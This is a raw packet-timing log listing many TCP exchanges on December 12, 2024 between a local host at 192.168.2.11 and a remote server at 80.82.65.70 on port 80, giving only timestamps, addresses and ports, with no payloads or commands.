                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.014291048 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.022420883 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.022480011 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.022511959 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.022631884 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.030836105 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.030914068 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.031008005 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.031213999 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.038436890 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.038522005 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.038556099 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.038594961 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.078032017 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.078090906 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.078109026 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.078377008 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.151426077 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.151494980 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.151535988 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.151798964 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.152736902 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.152820110 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.152848005 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.152888060 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.157295942 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.157313108 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.157350063 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.157366991 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.160805941 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.160908937 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.160957098 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.165371895 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.165417910 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.165451050 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.165504932 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.169913054 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.169962883 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.169985056 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.170026064 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.174443007 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.174617052 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.174618006 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.174671888 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.178910971 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.178981066 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.179034948 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.183432102 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.183506012 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.183541059 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.183814049 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.187979937 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.188035965 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.188052893 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.188337088 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.192513943 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.192557096 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.192594051 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.192616940 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.196923971 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.197009087 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.197038889 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.198103905 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.201541901 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.201637030 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.201697111 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.206036091 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.206083059 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.206096888 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.206387043 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.210505009 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.210573912 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.210621119 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.213959932 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.214066982 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.214114904 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.217492104 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.217582941 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.217607021 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.217628956 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.221018076 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.221065998 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.221090078 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.221129894 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.224519014 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.224570036 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.224648952 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.224756956 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.227998018 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.228091002 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.228096008 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.228133917 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.231525898 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.231590986 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.231642008 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.231678963 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.235059023 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.235163927 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.235215902 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.238487959 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.238543987 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.238581896 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.238640070 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.271353006 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.271414995 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.343776941 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.343791962 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.343842983 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.343866110 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.345150948 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.345204115 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.345230103 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.345267057 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.347846031 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.347887039 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.347986937 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.348099947 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.350704908 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.350750923 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.350805044 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.353359938 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.353414059 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.353426933 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.353687048 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.356004953 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.356048107 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.356132984 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.356331110 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.358658075 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.358719110 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.358800888 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.358841896 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.361211061 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.361264944 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.361289978 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.361329079 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.363751888 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.363796949 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.363893986 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.364082098 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.366288900 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.366333008 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.366414070 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.366624117 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.368561983 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.368623972 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.368649960 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.368694067 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.371053934 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.371103048 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.371149063 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.371190071 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.373466969 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.373532057 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.373554945 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.373589039 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.376033068 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.376077890 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.376140118 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.376185894 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.378541946 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.378642082 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.378727913 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.380846977 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.380861044 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.380909920 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.380935907 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.383204937 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.383289099 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.383326054 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.383642912 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.385765076 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.385817051 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.385857105 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.385900021 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.388159990 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.388221025 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.388286114 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.388515949 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.390546083 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.390595913 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.390619040 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.390793085 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.393102884 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.393188953 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.393371105 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.393570900 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.395437956 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.395572901 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.395606041 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.395606041 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.397923946 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.397978067 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.398010969 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.398053885 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.399746895 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.399804115 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.399939060 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.399980068 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.401623011 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.401679039 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.401704073 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.401742935 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.403341055 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.403389931 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.403505087 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.403543949 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.405137062 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.405200958 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.405244112 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.406980038 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.407021999 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.407172918 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.407393932 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.408817053 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.408859015 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.408920050 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.409118891 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.410636902 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.410687923 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.410785913 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.410830975 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.412558079 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.412570953 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.412611961 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.412625074 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.414293051 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.414339066 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.414412022 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.414657116 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.416122913 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.416168928 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.416217089 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.418005943 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.418128014 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.418139935 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.418170929 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.419783115 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.419840097 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.419877052 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.420161009 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.535650015 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.535746098 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.535790920 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.536218882 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.536405087 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.536494970 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.536520004 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.536566973 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.538419008 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.538460970 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.538502932 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.538552999 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.539815903 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.539863110 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.539906025 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.539948940 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.541140079 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.541188955 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.541435957 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.541477919 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.542618036 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.542742968 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.542799950 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.544133902 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.544265985 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.544325113 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.545631886 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.545708895 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.545753956 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.547178984 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.547388077 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.547442913 CET4987580192.168.2.1180.82.65.70
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.548562050 CET804987580.82.65.70192.168.2.11
                                                                                                                                                                                                                                    Dec 12, 2024 16:48:23.548613071 CET4987580192.168.2.1180.82.65.70
